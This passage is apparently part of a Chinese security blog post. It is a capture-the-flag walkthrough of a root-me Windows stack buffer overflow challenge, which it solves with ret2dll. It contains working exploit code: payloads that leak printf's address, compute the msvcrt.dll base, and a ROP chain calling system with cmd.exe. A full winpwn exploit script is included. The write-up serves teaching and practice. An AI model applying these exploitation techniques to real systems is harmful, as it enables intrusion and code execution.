0x06 以[root-me]Advanced stack buffer overflow为例

程序保护检查

image-20200709201919035

程序漏洞分析

image-20200710170321019

这个题需要我们在运行时提交一个文件作为餐数,然后会读取其中的内容作为manage_file函数的参数传入

然后程序就会将文件的内容读取到局部变量中

image-20200710170652603

但是显然这里没有做很好的长度过滤,这会导致栈溢出的发生。

这一次程序中不再有后门函数以供我们利用,于是我们这次使用ret2dll完成利用。

程序漏洞利用

由于程序没有开启PIE保护,系统也没有开启aslr于是可以不用考虑Leak相关地址后程序崩溃的问题,因为相关地址并不会发生任何的改变。

泄露合法文件地址

由于我们触发栈溢出后必然会影响fclose的参数,于是我们先行泄露:

payload  = p32(0) * 100
open('./payload_0','w').write(payload)

image-20200711141205436

泄露DLL加载地址

我们可以利用printf函数来泄露并计算DLL文件的加载基址。

payload  = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF) 
payload += p32(0x00402974) # printf@plt
payload += p32(0x004016E3) # _manage_file
payload += p32(0x00406200) # printf@got
open('./payload_1','w').write(payload)

image-20200711141416188

image-20200711141509835

又可以从IDA中看出DLL文件位于msvcrt.dll,文件位于C:WindowsSystemSysWOW64目录下。

image-20200711141717772

于是可以计算出DLL加载地址

image-20200711124446944

最终完成利用

最终我们直接计算构造ROP即可

image-20200711124730677

image-20200711124855612

Final Exploit

from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

# file_name=ELF('./file_name', checksec = False)

def get_sh():
    if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
        return remote(sys.argv[2],sys.argv[3])
    else:
        return process("./ch73.exe")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string).strip(end_string),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        print(info + str(hex(return_address)))
    return return_address

# def get_flag(sh):
#     sh.sendline('cat /flag')
#     return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    windbgx.attach(sh)
    if stop :
        raw_input()

def Attack():
    try:
        # Your Code here
        payload  = p32(0) * 100
        open('./payload_0','w').write(payload)

        payload  = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF) 
        payload += p32(0x00402974) # printf@plt
        payload += p32(0x004016E3) # _manage_file
        payload += p32(0x00406200) # printf@got
        open('./payload_1','w').write(payload)

        payload  = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF) 
        payload += p32(0x76213DC0) # system
        payload += p32(0x004016E3) # _manage_file
        payload += p32(0x761D47A4) # cmd.exe
        open('./payload_2','w').write(payload)
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    os.system("")
    Attack()

image-20200711182405069

 

0x07 参考链接

【原】超酷的 PowerShell 美化指南 – Lulus

【原】CFG防护机制的简要分析 – f0**

【原】Windows-pwn解题原理&利用手法详解 – 萝卜

【原】HITB GSEC BABYSTACK — win pwn 初探 – Ex

【原】Windows PE 第四章 导入表 – TK13

本文由ERROR404原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/210394

安全客 - 有思想的安全新媒体

分享到:微信
+125赞
收藏
ERROR404
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66